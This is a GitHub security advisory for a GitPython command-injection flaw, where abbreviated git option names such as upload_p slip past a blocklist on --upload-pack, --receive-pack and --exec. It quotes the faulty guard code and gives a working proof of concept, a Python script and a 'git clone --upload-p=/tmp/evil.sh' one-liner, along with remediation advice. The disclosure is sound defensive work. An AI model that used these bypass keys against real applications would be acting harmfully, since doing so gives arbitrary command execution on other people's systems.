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GeezerVison is showing github.com — CVE-2026-67325 - GitHub Advisory Database

GitPython: Command Injection via git long-option prefix abbreviation bypass of CVE-2026-42215 blocklist

High severity GitHub Reviewed Published Jul 12, 2026 in gitpython-developers/GitPython • Updated Sep 8, 2026

Package

GitPython (pip)

Affected versions

<= 3.1.50

Patched versions

3.1.51

Description

Command injection via long-option prefix abbreviation bypassing check_unsafe_options (incomplete fix of CVE-2026-42215 / GHSA-rpm5-65cw-6hj4)

Component: gitpython-developers/GitPython (PyPI: GitPython)
Affected: all versions carrying the 3.1.47 blocklist fix, through current main (verified at commit 20c5e275, 3.1.50-42)
Reporter: hackkim

Summary

The 3.1.47 fix for CVE-2026-42215 blocks dangerous git options (--upload-pack, --config, -c, -u for clone; --upload-pack for fetch/pull; --receive-pack, --exec for push) so callers cannot reach command-executing options unless they pass allow_unsafe_options=True.

The fix canonicalizes an option name along one axis (underscore→hyphen via dashify) and checks it against an exact-match dict. It does not account for git's unambiguous long-option prefix abbreviation. Git accepts any unambiguous prefix of a long option (--upload-p, --upload-pa, --upload-pac all resolve to --upload-pack). So a kwarg key like upload_p canonicalizes to upload-p, misses the blocklist dict, and is emitted to git as --upload-p=<value> → executed as --upload-pack=<value> → command injection, in the default allow_unsafe_options=False configuration.

The asymmetry (root cause)

# git/cmd.py (commit 20c5e275), lines 948-974
@classmethod
def _canonicalize_option_name(cls, option):
    option_name = option.lstrip("-").split("=", 1)[0]
    option_tokens = option_name.split(None, 1)
    if not option_tokens:
        return ""
    return dashify(option_tokens[0])      # only transform: "_" -> "-"

@classmethod
def check_unsafe_options(cls, options, unsafe_options):
    canonical_unsafe_options = {cls._canonicalize_option_name(o): o for o in unsafe_options}
    for option in options:
        unsafe_option = canonical_unsafe_options.get(cls._canonicalize_option_name(option))
        if unsafe_option is not None:
            raise UnsafeOptionError(...)

The guard normalizes only _→- and does exact dict membership. Git's CLI parser accepts a broader grammar (prefix abbreviation) than the guard models, so abbreviated keys slip through and reach git as the blocked option.

Affected code (commit 20c5e275)

Location Role
git/cmd.py:948-960 _canonicalize_option_name canonicalizer — no prefix expansion
git/cmd.py:963-974 check_unsafe_options exact-match dict lookup (the incomplete guard)
git/cmd.py:1511 transform_kwarg emits --<dashify(name)>=<value> to the CLI
git/repo/base.py:1411,1413 clone call sites
git/remote.py:1074,1128,1201 fetch / pull / push call sites

Bypass keys (verified)

kwarg key git resolves to path weaponizable
upload_p, upload_pac --upload-pack clone / fetch / pull Yes — direct RCE
receive_p --receive-pack push Yes — direct RCE
exe --exec push Yes — direct RCE
conf, confi --config clone bypasses option blocklist; RCE needs an additional config vector (see note)

Minimal PoC

Self-contained, no network egress (a local bare repo acts as the "remote"). Tested on current main (git 2.50.1):

import os, stat, tempfile
from git import Repo

work = tempfile.mkdtemp()
marker = os.path.join(work, "RCE_MARKER")

# fake "upload-pack" program that proves arbitrary command execution
prog = os.path.join(work, "evil.sh")
with open(prog, "w") as f:
    f.write(f"#!/bin/sh\ntouch {marker}\nexit 1\n")  # exit 1 so git aborts after our code ran
os.chmod(prog, os.stat(prog).st_mode | stat.S_IEXEC)

bare = os.path.join(work, "remote.git")
Repo.init(bare, bare=True)

# attacker-controlled kwarg KEY 'upload_p' -> --upload-p=<prog> -> git runs <prog>
try:
    Repo.clone_from(bare, os.path.join(work, "out"), upload_p=prog)
except Exception:
    pass  # git aborts with GitCommandError AFTER the payload executed

print("RCE marker created:", os.path.exists(marker))  # True -> command injection confirmed

Equivalent at the shell: git clone --upload-p=/tmp/evil.sh src out runs evil.sh.

Confirmed behavior:

  • upload_pack (exact) → blocked; upload_p (abbrev) → passes guard, reaches git, executes. The fix works for the form it models but not the abbreviated form.
  • allow_unsafe_options=True opt-out behaves as documented (out of scope).

Honest scope note

Like the parent CVE, exploitation requires a host application that flows attacker-controlled kwarg keys into a GitPython clone/fetch/pull/push. Where the host passes only fixed/validated keys, this is not reachable — the vulnerability is in the library's documented defense-in-depth control (allow_unsafe_options=False), which this variant defeats.

On the --config family: conf bypasses the option blocklist, but weaponizing --config protocol.ext.allow=always via an ext:: URL is independently blocked by GitPython's protocol allowlist (allow_unsafe_protocols=False). The directly weaponizable family is upload-pack / receive-pack / exec. Reported transparently — not claiming Critical.

Suggested remediation (any one)

  1. Prefix-aware matching: reject any option whose canonical name is an unambiguous prefix of a blocked option (≈ startswith on the blocked canonical name, after dashify).
  2. Disable abbreviation at the sink: pass --end-of-options or invoke git in a way that disables long-option abbreviation.
  3. Allowlist option names on security-sensitive subcommands instead of a blocklist.

Remediation should also cover the -c/--config family abbreviations, even though the ext:: route is currently gated by the protocol allowlist.

References

  • GHSA-2f96-g7mh-g2hx
  • gitpython-developers/GitPython#2161
  • gitpython-developers/GitPython@5680608
  • https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51
  • https://nvd.nist.gov/vuln/detail/CVE-2026-67325
  • https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-option-prefix-abbreviation
@Byron Byron published to gitpython-developers/GitPython Jul 12, 2026
Published to the GitHub Advisory Database Jul 21, 2026
Reviewed Jul 21, 2026
Last updated Sep 8, 2026

Severity

High
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

(83rd percentile)

Weaknesses

Weakness CWE-78

Improper Neutralization of Special Elements used in an OS Command

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command before it is sent to a downstream component. Learn more on MITRE.
Weakness CWE-184

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

CVE ID

CVE-2026-67325

GHSA ID

GHSA-2f96-g7mh-g2hx

Source code

gitpython-developers/GitPython

Credits

  • @hackkim hackkim Reporter
  • @abhiprd2000 abhiprd2000 Finder
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